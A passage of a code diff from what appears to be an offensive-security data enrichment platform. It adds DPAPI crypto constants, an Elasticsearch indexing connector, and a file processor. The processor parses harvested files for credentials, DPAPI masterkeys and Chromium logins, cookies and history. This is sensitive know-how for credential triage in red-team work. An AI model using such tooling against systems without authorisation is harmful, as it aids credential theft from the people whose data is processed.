+ALG_SID_TEK = 11 + +CRYPT_MODE_CBCI = 6 # ANSI CBC Interleaved +CRYPT_MODE_CFBP = 7 # ANSI CFB Pipelined +CRYPT_MODE_OFBP = 8 # ANSI OFB Pipelined +CRYPT_MODE_CBCOFM = 9 # ANSI CBC + OF Masking +CRYPT_MODE_CBCOFMI = 10 # ANSI CBC + OFM Interleaved + +ALG_SID_RC2 = 2 +ALG_SID_RC4 = 1 +ALG_SID_SEAL = 2 + +# Diffie - Hellman sub - ids +ALG_SID_DH_SANDF = 1 +ALG_SID_DH_EPHEM = 2 +ALG_SID_AGREED_KEY_ANY = 3 +ALG_SID_KEA = 4 +ALG_SID_ECDH = 5 + +# Hash sub ids +ALG_SID_MD2 = 1 +ALG_SID_MD4 = 2 +ALG_SID_MD5 = 3 +ALG_SID_SHA = 4 +ALG_SID_SHA1 = 4 +ALG_SID_MAC = 5 +ALG_SID_RIPEMD = 6 +ALG_SID_RIPEMD160 = 7 +ALG_SID_SSL3SHAMD5 = 8 +ALG_SID_HMAC = 9 +ALG_SID_TLS1PRF = 10 +ALG_SID_HASH_REPLACE_OWF = 11 +ALG_SID_SHA_256 = 12 +ALG_SID_SHA_384 = 13 +ALG_SID_SHA_512 = 14 + +# secure channel sub ids +ALG_SID_SSL3_MASTER = 1 +ALG_SID_SCHANNEL_MASTER_HASH = 2 +ALG_SID_SCHANNEL_MAC_KEY = 3 +ALG_SID_PCT1_MASTER = 4 +ALG_SID_SSL2_MASTER = 5 +ALG_SID_TLS1_MASTER = 6 +ALG_SID_SCHANNEL_ENC_KEY = 7 +ALG_SID_ECMQV = 1 + + +# algorithm identifier definitions +class ALGORITHMS(Enum): + CALG_MD2 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD2 + CALG_MD4 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD4 + CALG_MD5 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD5 + CALG_SHA = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA + CALG_SHA1 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA1 + CALG_RSA_SIGN = ALG_CLASS_SIGNATURE | ALG_TYPE_RSA | ALG_SID_RSA_ANY + CALG_DSS_SIGN = ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_DSS_ANY + CALG_NO_SIGN = ALG_CLASS_SIGNATURE | ALG_TYPE_ANY | ALG_SID_ANY + CALG_RSA_KEYX = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_RSA | ALG_SID_RSA_ANY + CALG_DES = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_DES + CALG_3DES_112 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_3DES_112 + CALG_3DES = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_3DES + CALG_DESX = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_DESX + CALG_RC2 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_RC2 + CALG_RC4 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_STREAM | ALG_SID_RC4 + CALG_SEAL = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_STREAM | ALG_SID_SEAL + CALG_DH_SF = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_DH_SANDF + CALG_DH_EPHEM = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_DH_EPHEM + CALG_AGREEDKEY_ANY = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_AGREED_KEY_ANY + CALG_KEA_KEYX = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_KEA + CALG_HUGHES_MD5 = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_MD5 + CALG_SKIPJACK = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_SKIPJACK + CALG_TEK = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_TEK + CALG_SSL3_SHAMD5 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SSL3SHAMD5 + CALG_SSL3_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SSL3_MASTER + CALG_SCHANNEL_MASTER_HASH = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SCHANNEL_MASTER_HASH + CALG_SCHANNEL_MAC_KEY = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SCHANNEL_MAC_KEY + CALG_SCHANNEL_ENC_KEY = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SCHANNEL_ENC_KEY + CALG_PCT1_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_PCT1_MASTER + CALG_SSL2_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_SSL2_MASTER + CALG_TLS1_MASTER = ALG_CLASS_MSG_ENCRYPT | ALG_TYPE_SECURECHANNEL | ALG_SID_TLS1_MASTER + CALG_RC5 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_RC5 + CALG_HMAC = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC + CALG_TLS1PRF = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_TLS1PRF + CALG_HASH_REPLACE_OWF = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HASH_REPLACE_OWF + CALG_AES_128 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES_128 + CALG_AES_192 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES_192 + CALG_AES_256 = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES_256 + CALG_AES = ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_BLOCK | ALG_SID_AES + CALG_SHA_256 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_256 + CALG_SHA_384 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_384 + CALG_SHA_512 = ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_512 + CALG_ECDH = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_ECDH + CALG_ECMQV = ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_ECMQV + CALG_ECDSA = ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_ECDSA + + +ALGORITHMS_DATA = { + # Algorithm: key/SaltLen, CryptHashModule, Mode, IVLen, BlockSize + ALGORITHMS.CALG_SHA.value: (160 // 8, SHA1, None, None, 512 // 8), # type: ignore + ALGORITHMS.CALG_HMAC.value: (160 // 8, SHA512, None, None, 512 // 8), # type: ignore + ALGORITHMS.CALG_3DES.value: (192 // 8, DES3, DES3.MODE_CBC, 64 // 8), # type: ignore + ALGORITHMS.CALG_SHA_512.value: (128 // 8, SHA512, None, None, 1024 // 8), # type: ignore + ALGORITHMS.CALG_AES_256.value: (256 // 8, AES, AES.MODE_CBC, 128 // 8), # type: ignore +} + + +class MasterKey(Structure): + structure = ( + ("Version", " None: + task = asyncio.create_task(func) + self.tasks_set.add(task) + task.add_done_callback(self.tasks_set.discard) + + async def run(self) -> None: + await logger.ainfo("Starting the ElasticConnector") + + tasks = [ + self.auth_data_q.Read(self.send_authentication_data), # type: ignore + self.extracted_hash_q.Read(self.send_extracted_hash), # type: ignore + self.file_info_q.Read(self.send_file_info), # type: ignore + self.file_data_enriched_q.Read(self.send_file_data_enriched), # type: ignore + self.file_data_plaintext_q.Read(self.send_file_data_plaintext), # type: ignore + self.file_data_sourcecode_q.Read(self.send_file_data_sourcecode), # type: ignore + self.process_enriched_q.Read(self.send_process_enriched), # type: ignore + self.service_enriched_q.Read(self.send_service_enriched), # type: ignore + self.registry_value_q.Read(self.send_registry_value), # type: ignore + self.named_pipe_q.Read(self.send_named_pipe), # type: ignore + self.network_connection_q.Read(self.send_network_connection), # type: ignore + self.consumer(), + ] + + for task in tasks: + await self.create_task(task) + + await asyncio.Future() + + async def send_authentication_data(self, q_msg: pb.AuthenticationDataIngestionMessage) -> None: + await self.send_without_processing(q_msg, constants.ES_INDEX_AUTHENTICATION_DATA) + + async def send_extracted_hash(self, q_msg: pb.ExtractedHashMessage) -> None: + await self.send_without_processing(q_msg, constants.ES_INDEX_EXTRACTED_HASH) + + async def send_file_info(self, q_msg: pb.FileInformationIngestionMessage) -> None: + await self.send_without_processing(q_msg, constants.ES_INDEX_FILE_INFORMATION) + + async def send_file_data_enriched(self, q_msg: pb.FileDataEnrichedMessage) -> None: + await self.process_file_data_enriched(q_msg) + + async def send_file_data_plaintext(self, q_msg: pb.FileDataPlaintextMessage) -> None: + await self.process_file_data_plaintext(q_msg) + + async def send_file_data_sourcecode(self, q_msg: pb.FileDataSourcecodeMessage) -> None: + await self.process_file_data_sourcecode(q_msg) + + async def send_process_enriched(self, q_msg: pb.ProcessEnrichedMessage) -> None: + await self.send_without_processing(q_msg, constants.ES_INDEX_PROCESS_CATEGORY) + + async def send_service_enriched(self, q_msg: pb.ServiceEnrichedMessage) -> None: + await self.send_without_processing(q_msg, constants.ES_INDEX_SERVICE_ENRICHED) + + async def send_registry_value(self, q_msg: pb.RegistryValueIngestionMessage) -> None: + await self.send_without_processing(q_msg, constants.ES_INDEX_REGISTRY_VALUE) + + async def send_named_pipe(self, q_msg: pb.NamedPipeIngestionMessage) -> None: + await self.send_without_processing(q_msg, constants.ES_INDEX_NAMED_PIPE) + + async def send_network_connection(self, q_msg: pb.NetworkConnectionIngestionMessage) -> None: + await self.send_without_processing(q_msg, constants.ES_INDEX_NETWORK_CONNECTION) + + @aio.time(Summary("elastic_process_file_data_enriched", "Time spent processing a file_data_enriched topic")) # type: ignore + async def process_file_data_enriched(self, event: pb.FileDataEnrichedMessage): + """ + Main function to process file_data_enriched events. + """ + metadata = MessageToDict(event.metadata) + + for d in event.data: + # grab the data entry for this iteration and merge it with the parent metadata + dataDict = MessageToDict(d) + dataDict["metadata"] = metadata + object_id = d.object_id + + enc_file_name = urllib.parse.quote(d.name) + dataDict["objectIdURL"] = f"{self.web_api_url}download/{object_id}?name={enc_file_name}" + + if "extractedPlaintext" in dataDict: + plainext_object_id = dataDict["extractedPlaintext"] + if "error" not in plainext_object_id: + dataDict[ + "extractedPlaintextURL" + ] = f"{self.public_kibana_url}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{plainext_object_id}')))),index:'0e93c4fb-c291-4d22-84da-e49ec27b959a')&_g=(time:(from:now-1y%2Fd,to:now))" + + if "convertedPdf" in dataDict: + pdf_object_id = dataDict["convertedPdf"] + if "error" not in pdf_object_id: + dataDict["convertedPdfURL"] = f"{self.web_api_url}download/{pdf_object_id}?name={enc_file_name}.pdf" + + # handle the case of when the file is a PDF + if dataDict["path"].endswith(".pdf"): + object_id = dataDict["objectId"] + dataDict["convertedPdfURL"] = f"{self.web_api_url}download/{object_id}?name={enc_file_name}.pdf" + + if "extractedSource" in dataDict: + extracted_source_id = dataDict["extractedSource"] + if "error" not in extracted_source_id: + dataDict["extractedSourceURL"] = f"{self.web_api_url}download/{extracted_source_id}?name={enc_file_name}.zip" + + await self.send_to_elastic(constants.ES_INDEX_FILE_DATA_ENRICHED, dataDict) + + @aio.time(Summary("elastic_process_file_data_plaintext", "Time spent processing a file_data_plaintext topic")) # type: ignore + async def process_file_data_plaintext(self, event: pb.FileDataPlaintextMessage): + """ + Main function to process file_data_plaintext events. + """ + metadata = MessageToDict(event.metadata) + + for d in event.data: + # grab the data entry for this iteration and merge it with the parent metadata + data = MessageToDict(d) + data["metadata"] = metadata + + # TODO: Change this to lookup the object size before downloading. See https://stackoverflow.com/questions/5315603/how-do-i-get-the-file-key-size-in-boto-s3 + file_uuid = uuid.UUID(d.object_id) + + with await self.storage.download(file_uuid) as temp_file: + if os.path.getsize(temp_file.name) > 104857600: + await logger.aerror("Nemesis object_id over 100MB limit") + else: + # index the plaintext if we have it + with open(temp_file.name, "r") as f: + data["text"] = f.read() + + object_id = data["objectId"] + data["objectIdURL"] = f"{self.web_api_url}download/{object_id}" + originating_object_id = data["originatingObjectId"] + data[ + "originatingObjectURL" + ] = f"{self.public_kibana_url}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{originating_object_id}')))),index:'26360ae8-a518-4dac-b499-ef682d3f6bac')&_g=(time:(from:now-1y%2Fd,to:now))" + + if "originatingObjectConvertedPdf" in data: + pdf_object_id = data["originatingObjectConvertedPdf"] + data["originatingObjectConvertedPdfUrl"] = f"{self.web_api_url}download/{pdf_object_id}?name=pdf.pdf" + + await self.send_to_elastic(constants.ES_INDEX_FILE_DATA_PLAINTEXT, data) + + @aio.time(Summary("elastic_process_file_data_sourcecode", "Time spent processing a file_data_sourcecode topic")) # type: ignore + async def process_file_data_sourcecode(self, event: pb.FileDataSourcecodeMessage): + """ + Main function to process file_data_sourcecode events. + """ + metadata = MessageToDict(event.metadata) + + for d in event.data: + # grab the data entry for this iteration and merge it with the parent metadata + data = MessageToDict(d) + data["metadata"] = metadata + + # TODO: Change this to lookup the object size before downloading. See https://stackoverflow.com/questions/5315603/how-do-i-get-the-file-key-size-in-boto-s3 + file_uuid = uuid.UUID(d.object_id) + + with await self.storage.download(file_uuid) as temp_file: + if os.path.getsize(temp_file.name) > 104857600: + await logger.aerror("Nemesis object_id over 100MB limit") + else: + # index the text of the source code file + with open(temp_file.name, "r") as f: + data["text"] = f.read() + object_id = data["objectId"] + data["downloadURL"] = f"{self.web_api_url}download/{object_id}" + data[ + "fileObjectURL" + ] = f"{self.public_kibana_url}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{object_id}')))),index:'26360ae8-a518-4dac-b499-ef682d3f6bac')&_g=(time:(from:now-1y%2Fd,to:now))" + await self.send_to_elastic(constants.ES_INDEX_FILE_DATA_SOURCECODE, data) + + @aio.time(Summary("elastic_send_without_processing", "Time spent submitting process_enriched messages to Elastic/Postgres")) # type: ignore + async def send_without_processing( + self, + q_msg: pb.AuthenticationDataIngestionMessage + | pb.FileInformationIngestionMessage + | pb.ProcessEnrichedMessage + | pb.RegistryValueIngestionMessage + | pb.ServiceEnrichedMessage + | pb.ExtractedHashMessage, + index: ElasticIndex, + ): + metadata = MessageToDict(q_msg.metadata) + + for i in range(len(q_msg.data)): + # grab the data entry for this iteration and merge it with the parent metadata + data = MessageToDict(q_msg.data[i]) + data["metadata"] = metadata + await self.send_to_elastic(index, data) + + @aio.time(Summary("send_to_elastic", "Time spent submitting data directly to Elastic")) # type: ignore + async def send_to_elastic(self, index: ElasticIndex, data: dict[str, Any]): + await logger.adebug("Submitting document to the Elastic", index=index) + + # try: + # resp = await self.es_client.index(index=index, document=data) + + # # TODO: Make this work. Problem is when under lots of pressure, too many tasks get created and either + # # memory/CPU exhaustion occurs from too many tasks and/or Elastic/nginx-ingress can't consume events fast enough and occasionally errors + # # resp = await self.create_task( + # # self.es_client.index(index=index, document=data) + # # ) + # if resp and ("result" in resp) and (resp["result"] != "created"): + # await logger.aerror( + # "Submitting to elastic failed", index=index, response=resp["result"] + # ) + # except ConnectionTimeout: + # await logger.aerror("Connection to Elastic timed out", index=index) + # except Exception as e: + # await logger.aerror("Error submitting to Elastic", index=index, error=e) + + data["_index"] = index + await self.es_submit_queue.put(data) + + async def consumer(self): + logger.info("Starting Elastic consumer") + timeout = 1.0 # Timeout in seconds + docs_to_process = [] + num_batched_documents = 50 + + while True: + try: + # Wait for up to timeout seconds for items to be added to the queue + item = await asyncio.wait_for(self.es_submit_queue.get(), timeout=timeout) + + docs_to_process.append(item) + + num_docs = len(docs_to_process) + if num_docs == num_batched_documents: + await logger.adebug("Submitting documents to Elastic", doc_count=num_docs) + await self.create_task(self.send_in_bulk_to_es(docs_to_process)) + docs_to_process = [] + + except asyncio.TimeoutError: + # Timeout occurred - process the items we have so far + num_docs = len(docs_to_process) + if num_docs > 0: + # Process what we have right now + await logger.adebug( + "ES submit queue timeout hit. Processing queued up documents", + doc_count=num_docs, + ) + await self.create_task(self.send_in_bulk_to_es(docs_to_process)) + docs_to_process = [] + + continue + + async def send_in_bulk_to_es(self, items): + # Use async_bulk() to submit the actions as a single API call + errors: List[Any] + num_successful, errors = await async_bulk(self.es_client, items) # type: ignore # ignoring because stats_only is False, so a List will be returned + + if num_successful == len(items): + # All items were submitted successfully + pass + else: + await logger.awarning( + "Not all items were submitted to Elastic", + num_successful=num_successful, + num_items=len(items), + ) + + # Handle the results + for result in errors: + await logger.aerror("Failed to submit message to elastic", message=result) diff --git a/cmd/enrichment/enrichment/tasks/file_processor.py b/cmd/enrichment/enrichment/tasks/file_processor.py new file mode 100644 index 0000000..e4dbae6 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/file_processor.py @@ -0,0 +1,1186 @@ +# Standard Libraries +import asyncio +import glob +import os +import pathlib +import re +import shutil +import subprocess +import tempfile +import uuid +from datetime import datetime +from typing import Optional + +# 3rd Party Libraries +import aiohttp +import enrichment.lib.canaries as canary_helpers +import enrichment.lib.helpers as helpers +import nemesiscommon.constants as constants +import nemesispb.nemesis_pb2 as pb +import structlog +import yara +from binaryornot.check import is_binary +from enrichment.services.text_extractor import TextExtractorInterface +from nemesiscommon.messaging import (MessageQueueConsumerInterface, + MessageQueueProducerInterface) +from nemesiscommon.nemesis_tempfile import TempFile +from nemesiscommon.services.alerter import AlerterInterface +from nemesiscommon.storage import StorageInterface +from nemesiscommon.tasking import TaskInterface +from prometheus_async import aio +from prometheus_client import Summary +from sumy.nlp.tokenizers import Tokenizer +from sumy.parsers.plaintext import PlaintextParser +from sumy.summarizers.text_rank import TextRankSummarizer + +logger = structlog.get_logger(module=__name__) + + +class FileProcessor(TaskInterface): + alerter: AlerterInterface + storage: StorageInterface + text_extractor: TextExtractorInterface + + # URIs + crack_list_uri: str + dotnet_uri: str + gotenberg_uri: str + kibana_url: str + ml_models_uri: str + + # Queues + in_q_filedata: MessageQueueConsumerInterface + in_q_filedataenriched: MessageQueueConsumerInterface + out_q_authdata: MessageQueueProducerInterface + out_q_chromiumcookies: MessageQueueProducerInterface + out_q_chromiumdownloads: MessageQueueProducerInterface + out_q_chromiumhistory: MessageQueueProducerInterface + out_q_chromiumlogins: MessageQueueProducerInterface + out_q_chromiumstatefile: MessageQueueProducerInterface + out_q_dpapiblob: MessageQueueProducerInterface + out_q_dpapimasterkey: MessageQueueProducerInterface + out_q_filedata: MessageQueueProducerInterface + out_q_filedataenriched: MessageQueueProducerInterface + out_q_filedataplaintext: MessageQueueProducerInterface + out_q_filedatasourcecode: MessageQueueProducerInterface + out_q_rawdata: MessageQueueProducerInterface + + chunk_size: int + model_word_limit: int + extracted_archive_size_limit: int + data_download_dir: str + kibana_url: str + + def __init__( + self, + alerter: AlerterInterface, + storage: StorageInterface, + text_extractor: TextExtractorInterface, + # URIs + crack_list_uri: str, + dotnet_uri: str, + gotenberg_uri: str, + ml_models_uri: str, + public_kibana_url: str, + # Other settings + chunk_size: int, + data_download_dir: str, + extracted_archive_size_limit: int, + model_word_limit: int, + # Queues + in_q_filedata: MessageQueueConsumerInterface, + in_q_filedataenriched: MessageQueueConsumerInterface, + out_q_alerting: MessageQueueProducerInterface, + out_q_authdata: MessageQueueProducerInterface, + out_q_chromiumcookies: MessageQueueProducerInterface, + out_q_chromiumdownloads: MessageQueueProducerInterface, + out_q_chromiumhistory: MessageQueueProducerInterface, + out_q_chromiumlogins: MessageQueueProducerInterface, + out_q_chromiumstatefile: MessageQueueProducerInterface, + out_q_dpapiblob: MessageQueueProducerInterface, + out_q_dpapimasterkey: MessageQueueProducerInterface, + out_q_filedata: MessageQueueProducerInterface, + out_q_filedataenriched: MessageQueueProducerInterface, + out_q_filedataplaintext: MessageQueueProducerInterface, + out_q_filedatasourcecode: MessageQueueProducerInterface, + out_q_rawdata: MessageQueueProducerInterface, + ): + self.alerter = alerter + self.storage = storage + self.text_extractor = text_extractor + + self.crack_list_uri = crack_list_uri + self.dotnet_uri = dotnet_uri + self.gotenberg_uri = gotenberg_uri + self.kibana_url = public_kibana_url + self.ml_models_uri = ml_models_uri + + self.chunk_size = chunk_size # number of bytes to read at a time per file + self.data_download_dir = data_download_dir + self.extracted_archive_size_limit = extracted_archive_size_limit # upper size limit of an (extracted) archive to process + self.model_word_limit = model_word_limit # only summarize/extract passwords for documents below this word limit + + self.in_q_filedata = in_q_filedata + self.in_q_filedataenriched = in_q_filedataenriched + self.out_q_alert = out_q_alerting + self.out_q_authdata = out_q_authdata + self.out_q_chromiumcookies = out_q_chromiumcookies + self.out_q_chromiumdownloads = out_q_chromiumdownloads + self.out_q_chromiumhistory = out_q_chromiumhistory + self.out_q_chromiumlogins = out_q_chromiumlogins + self.out_q_chromiumstatefile = out_q_chromiumstatefile + self.out_q_dpapiblob = out_q_dpapiblob + self.out_q_dpapimasterkey = out_q_dpapimasterkey + self.out_q_filedata = out_q_filedata + self.out_q_filedataenriched = out_q_filedataenriched + self.out_q_filedataplaintext = out_q_filedataplaintext + self.out_q_filedatasourcecode = out_q_filedatasourcecode + self.out_q_rawdata = out_q_rawdata + + # upper size limit of an (extracted) archive to process + self.extracted_archive_size_limit = extracted_archive_size_limit + + # number of bytes to read at a time per file + self.chunk_size = chunk_size + + # only summarize/extract passwords for documents below this word limit + self.model_word_limit = model_word_limit + + # load up the file parsing modules + (self.file_modules, self.file_module_names) = helpers.dynamic_import_from_src("./enrichment/lib/file_parsers") + + # load up the Yara rules + yara_file_paths = glob.glob("./enrichment/lib/public_yara/**/*.yara", recursive=True) + glob.glob( + "./enrichment/lib/public_yara/**/*.yar", recursive=True + ) + yara_files = {} + for yara_file_path in yara_file_paths: + try: + yara_files[yara_file_path.split("/")[-1]] = yara_file_path + except: + continue + + self.yara_rules = yara.compile(filepaths=yara_files) + + async def run(self) -> None: + await logger.ainfo("Starting the File Processor") + + results = await asyncio.gather( + self.in_q_filedata.Read(self.handle_file_data), # type: ignore + self.in_q_filedataenriched.Read(self.handle_file_data_enriched), # type: ignore + return_exceptions=True, + ) + + for result in results: + if isinstance(result, Exception): + await logger.aexception(result, message="Error in File Processor") + + await asyncio.Future() + + async def handle_file_data(self, q_msg: pb.FileDataIngestionMessage) -> None: + structlog.contextvars.clear_contextvars() + await self.process_file_data(q_msg) + + async def handle_file_data_enriched(self, q_msg: pb.FileDataEnrichedMessage) -> None: + structlog.contextvars.clear_contextvars() + await self.process_file_data_enriched(q_msg) + + @aio.time(Summary("process_file", "Time spent processing a file")) # type: ignore + async def process_file( + self, + nemesis_uuid: str, + originating_object_id: str, + file_path: str, + metadata: pb.Metadata, + scan_unknown: bool = False, + ) -> pb.FileDataEnriched: + """Main file_data processing function. + + This is where all the main file enrichment logic resides. + """ + ########################################################### + # + # Basic/universal file processing + # + ########################################################### + + with await self.storage.download(uuid.UUID(nemesis_uuid)) as file: + return await self.process_enrichments(nemesis_uuid, originating_object_id, file.name, file_path, metadata, scan_unknown) + + async def process_enrichments( + self, + file_uuid_str: str, + originating_object_id: str, + file_path_on_disk: str, + file_path: str, + metadata: pb.Metadata, + scan_unknown: bool, + ) -> pb.FileDataEnriched: + """Main function for various base file enrichments.""" + + file_data = pb.FileDataEnriched() + + # track which enrichments ran/failed + enrichments_success = [] + enrichments_failure = [] + + # whether to skip the DPAPI blob carving for specific files + skip_dpapi_carve = False + + # double check/ensure the path is forward slash normalized + file_path = file_path.replace("\\", "/") + + # get the base file name + file_name = os.path.basename(file_path) + + # hash the file bytes, getting a file_hashes protobuf back + file_hashes = helpers.hash_file(file_path_on_disk) + if file_hashes: + enrichments_success.append(constants.E_FILE_HASHES) + file_data.hashes.CopyFrom(file_hashes) + else: + enrichments_failure.append(constants.E_FILE_HASHES) + await logger.aerror("Hash enrichment: Failed to hash file") + + # now get its magic type from the first 2048 bytes using python-magic + file_magic_type = helpers.get_magic_type(file_path_on_disk) + + # check if the file can have plaintext extracted with Tika + tika_compatible = helpers.tika_compatible(file_path) + + # check if this file is an office document + is_office_doc = helpers.is_office_doc(file_path) + + # check if this file is a supported type of source code + is_source_code = helpers.is_source_code(file_path) + + # check if the file extension indicates that Gotenberg can convert the document to a pdf + can_convert_to_pdf = helpers.can_convert_to_pdf(file_path) + + # true if the file is binary, false if it's text (e.g., source code) + file_is_binary = is_binary(file_path_on_disk) + + file_data.object_id = file_uuid_str + file_data.originating_object_id = originating_object_id + file_data.name = file_name + file_data.size = os.path.getsize(file_path_on_disk) + file_data.path = file_path + file_data.extension = pathlib.Path(file_path).suffix.strip(".") + file_data.magic_type = file_magic_type + file_data.is_binary = file_is_binary + file_data.is_office_doc = is_office_doc + file_data.is_source_code = is_source_code + file_data.nemesis_file_type = "unknown" + + ########################################################### + # + # Nemesis-defined file format parsing + # + ########################################################### + + possible_nemesis_file_types = [] + + # TODO: redo this flow so modules are instantiated only once + + # first iterate through every file module to see if we have a path match + for file_module_name in self.file_module_names: + try: + file_module = self.file_modules[file_module_name](file_path_on_disk, file_data, metadata) + except Exception as e: + await logger.aexception(e, message="exception (likely mismatching class/file name)") + continue + + try: + if file_module.check_path(): + # TODO: save module instead of name possibly? + possible_nemesis_file_types.append(file_module_name) + except Exception as e: + await logger.aexception( + e, + message="Exception in running check_path() for module", + file_module_name=file_module_name, + ) + + await logger.adebug(f"possible_nemesis_file_types: {possible_nemesis_file_types}") + + # then verify the file contents for any potential matches + if len(possible_nemesis_file_types) > 0: + for possible_nemesis_file_type in possible_nemesis_file_types: + try: + file_module = self.file_modules[possible_nemesis_file_type](file_path_on_disk, file_data, metadata) + except Exception as e: + await logger.aexception( + e, + message="Exception (likely mismatching class/file name)", + ) + continue + try: + if file_module.check_content(): + # if the content matches then break and mark this file as identified + file_data.nemesis_file_type = possible_nemesis_file_type + break + except Exception as e: + await logger.aexception( + e, + message="Exception in running check_content()", + possible_file_type=possible_nemesis_file_type, + ) + else: + # if there's no type match AND we're scanning unknown filetypes + if scan_unknown: + # first iterate through every file module to see if we have a path match + for file_module_name in self.file_module_names: + try: + file_module = self.file_modules[file_module_name](file_path_on_disk, file_data, metadata) + except Exception as e: + await logger.aexception( + e, + message="Exception (likely mismatching class/file name)", + ) + continue + + try: + if file_module.check_content(): + # if the content matches then break and mark this file as identified + file_data.nemesis_file_type = file_module_name + break + except Exception as e: + await logger.aexception(e, message="Exception in running check_content()") + + await logger.adebug("file_data.nemesis_file_type", file_type=file_data.nemesis_file_type) + + # if we don't have an unknown file type, parse the content using the matching module + if file_data.nemesis_file_type != "unknown": + file_module = self.file_modules[file_data.nemesis_file_type](file_path_on_disk, file_data, metadata) + + auth_data_msg: pb.AuthenticationDataIngestionMessage + (parsed, auth_data_msg) = file_module.parse() + + if len(auth_data_msg.data) > 0: + # if we have plaintext auth data, emit that to the auth_data_q_out queue + await self.out_q_authdata.Send(auth_data_msg.SerializeToString()) + await logger.ainfo( + "Authentication data found!", + count=len(auth_data_msg.data), + types=[d.type for d in auth_data_msg.data], + ) + + if parsed and parsed is not None: + enrichments_success.append(constants.E_KNOWN_FILE_PARSED) + try: + file_data.parsed_data.CopyFrom(parsed) + try: + if file_data.parsed_data.has_parsed_credentials: + await self.alerter.file_data_alert( + file_data=file_data, + metadata=metadata, + title="Parsed Credentials", + text="File is a known type and has some form of parsed credentials!", + ) + + except: + pass + + except Exception as e: + await logger.aexception( + e, + message="Exception parsing data with module", + file_module=file_module, + ) + err = helpers.nemesis_parsed_data_error(f"Exception parsing data with module '{file_module}' : {e}") + file_data.parsed_data.CopyFrom(err) + + ########################################################### + # + # Special post-processing of specific file types + # + ########################################################### + + if file_data.parsed_data.WhichOneof("data_type") == "dpapi_masterkey": + # if the parsed data is a DPAPI masterkey, publish it to the queue + skip_dpapi_carve = True + dpapi_masterkey_message = pb.DpapiMasterkeyMessage() + dpapi_masterkey_message.metadata.CopyFrom(metadata) + dpapi_masterkey_message.data.append(file_data.parsed_data.dpapi_masterkey) + await logger.ainfo("Detected DPAPI masterkey, emitting DpapiMasterkeyMessage") + await self.out_q_dpapimasterkey.Send(dpapi_masterkey_message.SerializeToString()) + + elif file_data.parsed_data.WhichOneof("data_type") == "chromium_history": + skip_dpapi_carve = True + await logger.ainfo("Detected Chromium history file, processing") + await helpers.process_chromium_history( + file_data.object_id, + file_path_on_disk, + metadata, + file_data.parsed_data, + self.out_q_chromiumhistory, + self.out_q_chromiumdownloads, + ) + + elif file_data.parsed_data.WhichOneof("data_type") == "chromium_logins": + skip_dpapi_carve = True + await logger.ainfo("Detected Chromium logins file, processing") + await helpers.process_chromium_logins( + file_data.object_id, file_path_on_disk, metadata, file_data.parsed_data, self.out_q_chromiumlogins + ) + + elif file_data.parsed_data.WhichOneof("data_type") == "chromium_cookies": + skip_dpapi_carve = True + await logger.ainfo("Detected Chromium cookies file, processing") + await helpers.process_chromium_cookies( + file_data.object_id, file_path_on_disk, metadata, file_data.parsed_data, self.out_q_chromiumcookies + ) + + elif file_data.parsed_data.WhichOneof("data_type") == "chromium_state_file": + skip_dpapi_carve = True + chromium_state_file_message = pb.ChromiumStateFileMessage() + chromium_state_file_message.metadata.CopyFrom(metadata) + chromium_state_file_message.data.append(file_data.parsed_data.chromium_state_file) + await logger.ainfo("Detected 